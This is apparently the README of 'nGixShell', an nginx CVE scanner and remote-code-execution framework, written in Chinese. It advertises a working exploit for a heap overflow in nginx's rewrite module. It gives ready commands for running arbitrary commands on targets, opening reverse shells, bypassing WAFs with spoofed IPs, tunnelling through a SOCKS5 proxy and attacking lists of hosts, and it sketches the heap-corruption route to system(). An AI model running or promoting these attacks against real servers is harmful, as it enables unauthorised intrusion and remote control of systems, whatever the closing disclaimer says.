nGixShell 是一个 nginx CVE 扫描器和 RCE 漏洞利用框架。它附带一个针对 CVE-2026-42945 的可工作概念验证(proof-of-concept)——ngx_http_rewrite_module 中的一个严重堆缓冲区溢出——以及一个覆盖 53 个 nginx CVE 的扫描器,具备自动化 HTTP 探测、指纹识别、WAF 检测/绕过、Web 安全审计和报告生成功能。
零外部依赖。纯 Python 3 标准库。
快速开始
# Spin up the vulnerable lab
docker compose -f env/docker-compose.yml up -d
# Auto mode — fingerprint + CVE scan + web audit
python3 ngixshell.py 127.0.0.1:19321
# Execute a command via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'
# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Multiple targets from a file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
无需任何参数——将工具指向目标即可自动运行所有操作。
TLS 为自动检测。即使 server_tokens off,nginx 也能被指纹识别。
使用
python3 ngixshell.py [TARGET] [OPTIONS]
TARGET formats:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
模式
WAF 检测与绕过
| Flag | Description |
|---|
--waf-detect | 扫描前检测 WAF |
--waf-bypass | 启用所有绕过技术(同时运行检测) |
--waf-ip IP | 在绕过头中伪造此 IP(默认:随机 RFC1918) |
绕过技术(在设置 --waf-bypass 时全部激活):
可检测的 WAF: Cloudflare、AWS WAF、Akamai、Imperva/Incapsula、ModSecurity、F5 BIG-IP ASM、Sucuri、Barracuda、NAXSI、Fastly、Wordfence
Web 审计
扫描模式下自动运行。所有模块均可单独跳过。
- 响应头审计 — HSTS、CSP、X-Frame-Options、X-Content-Type-Options、Referrer-Policy、Permissions-Policy、泄露版本的响应头
- 路径发现 — 50+ 路径;哨兵探测消除 catch-all 403/301 规则导致的误报
- 虚拟主机枚举 — 需要状态码和响应体双重差异,避免默认拦截块误报
- TLS 审计 — 测试 TLS 1.0–1.3 支持、证书过期和自签名检测
- stub_status — 如果暴露了
/nginx_status,则解析活动连接指标
连接
| Flag | Description |
|---|
--port PORT | 覆盖端口 |
--tls | 强制启用 TLS(默认自动检测) |
|
HTTP
| Flag | Description |
|---|
--user-agent UA | 自定义 User-Agent |
--auth USER:PASS | HTTP Basic 认证 |
--cookie VALUE |
速率 / 时间
| Flag | Description |
|---|
--rate-limit RPS | 最大每秒请求数 |
--jitter MS | 请求间随机延迟 0–MS 毫秒 |
--retry N | 重试不确定的探测(默认:1) |
输出
| Flag | Description |
|---|
--output FILE | 将日志写入 FILE |
CVE 覆盖
涵盖 2009–2026 年间的 53 个 CVE。按 CVSS 排序。
漏洞分析(CVE-2026-42945)
nginx 的 rewrite 脚本引擎采用**两遍(two-pass)**模型:先计算缓冲区大小,再复制。当 rewrite 替换内容包含 ? 时,主引擎会设置 is_args 标志,但长度计算遍运行在一个全新归零的子引擎上:
- 长度遍 — 看到
is_args = 0 → 返回原始捕获长度
- 复制遍 — 看到
is_args = 1 → 调用 ngx_escape_uri(NGX_ESCAPE_ARGS),将每个不安全字节扩展为 3 字节
复制操作会用攻击者控制的 URI 数据溢出过小的堆缓冲区。利用过程通过跨请求堆风水(heap feng shui)破坏相邻的 ngx_pool_t 清理指针,将其重定向到一个伪造的 ngx_pool_cleanup_s,从而在池销毁时调用 system()。
受影响版本
| Product | Vulnerable | Fixed |
|---|
| NGINX Open Source | 0.6.27 – 1.30.0 | 1.31.0, 1.30.1 |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
厂商公告:https://my.f5.com/manage/s/article/K000160932
实验室搭建
已在 Ubuntu 24.04 LTS 上测试。需要 Docker 和 Python 3.8+。
# Start the vulnerable lab (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d
# Full scan
python3 ngixshell.py 127.0.0.1:19321
# RCE with JSON output
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json
# Reverse shell — bash payload, PTY auto-upgrade
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# WAF bypass scan with spoofed IP
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1
# Through SOCKS5 proxy
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050
# Subdomain scan with rate limiting
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10
# Multiple targets, JSON output, HTML report
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
免责声明
仅用于授权的安全测试、CTF 竞赛和研究。